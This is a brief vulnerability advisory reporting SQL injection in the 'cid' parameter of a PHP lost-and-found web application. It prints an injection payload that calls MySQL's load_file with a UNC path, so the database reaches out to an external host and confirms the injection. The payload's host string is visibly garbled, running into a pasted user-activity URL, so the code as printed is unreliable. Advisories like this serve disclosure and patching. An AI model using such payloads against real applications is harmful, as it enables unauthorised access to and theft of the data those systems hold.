Found Information System 1.0 SQL Injection
## Title: Found Information System 1.0 Multiple-SQLi
## Author: nu11secur1ty
## Date: 05.07.2023
## Vendor: https://github.com/oretnom23
## Software: https://www.sourcecodester.com/php/16525/lost-and-found-information-system-using-php-and-mysql-db-source-code-free-download.html
## Reference: https://portswigger.net/web-security/sql-injection

## Description:
The `cid` parameter appears to be vulnerable to SQL injection attacks.
The payload '+(select
load_file('%5c%5c%5c%5c446j46zi440491hdrco5ywxzhttps://www.sourcecodester.com/user/257130/activity%5c%5coca'))+'
was submitted in the cid parameter. This payload injects a SQL
sub-query that calls MySQL's load_file function with a UNC file path
that references a URL on an external domain. The application
interacted with that domain, indicating that the injected SQL query
was executed.
The attacker can get susceptible - sensitive information about the
system, then he can perform another more dangerous attack.

STATUS: HIGH Vulnerability
